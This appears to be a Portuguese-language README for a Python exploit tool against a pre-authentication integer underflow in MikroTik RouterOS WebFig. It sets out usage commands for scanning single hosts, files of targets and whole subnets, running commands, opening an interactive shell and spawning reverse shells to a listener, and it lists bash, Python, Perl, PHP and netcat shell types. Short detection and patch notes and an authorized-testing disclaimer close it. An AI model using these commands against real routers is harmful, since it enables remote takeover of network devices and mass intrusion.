
Exploit em Python para CVE-2026-84411, um underflow de inteiro pré-autenticação no WebFig do MikroTik RouterOS que permite RCE, com varredura, execução de comandos e reverse shells.
CVE-2026-84411 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação no MikroTik RouterOS.
| Campo | Valor |
|---|---|
| CVSS v3 | 9.8 (Crítico) |
| CWE | CWE-191: Underflow de Inteiro |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma (Pré-Auth) |
| Impacto | RCE completo como root / DoS |
| Afetado | RouterOS < 7.24 |
| Corrigido | RouterOS 7.24+ |
O serviço de gerenciamento web (WebFig, escutando em TCP/80 e TCP/443) contém um underflow de inteiro no tratamento do corpo das requisições HTTP. Uma única requisição HTTP especialmente elaborada — enviada sem fazer login — pode derrubar o serviço ou permitir a execução de código arbitrário com privilégios totais.
O underflow ocorre quando o parser calcula o comprimento do corpo com validação insuficiente, permitindo que o valor fique abaixo de zero e sofra underflow para um inteiro sem sinal muito grande. As operações de memória que confiam nesse comprimento corrompido (cópias, alocações, verificações de limites) passam então a se comportar de forma catastrófica.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
A ferramenta utiliza quatro métodos de detecção:
Content-Length muito maior que o tamanho real do corpoContent-Length para acionar underflowContent-Length correspondente| Tipo | Comando |
|---|---|
bash | Reverse shell bash padrão |
python | Reverse shell Python 2 |
python3 | Reverse shell Python 3 |
perl | Reverse shell Perl |
php | Reverse shell PHP |
nc | Reverse shell Netcat |
targets.txt — um alvo por linha:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
O sinal de maior fidelidade é qualquer conexão às portas de gerenciamento web do RouterOS (TCP/80, TCP/443) a partir de uma origem que não seja um host de gerenciamento conhecido.
Consulte a postagem do blog Security Arsenal para as regras Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
Atualize para o RouterOS 7.24 ou posterior.
Apenas para testes de segurança autorizados.
Port em Python baseado no PoC em Go de Gagaltotal666 / GhostGTR666.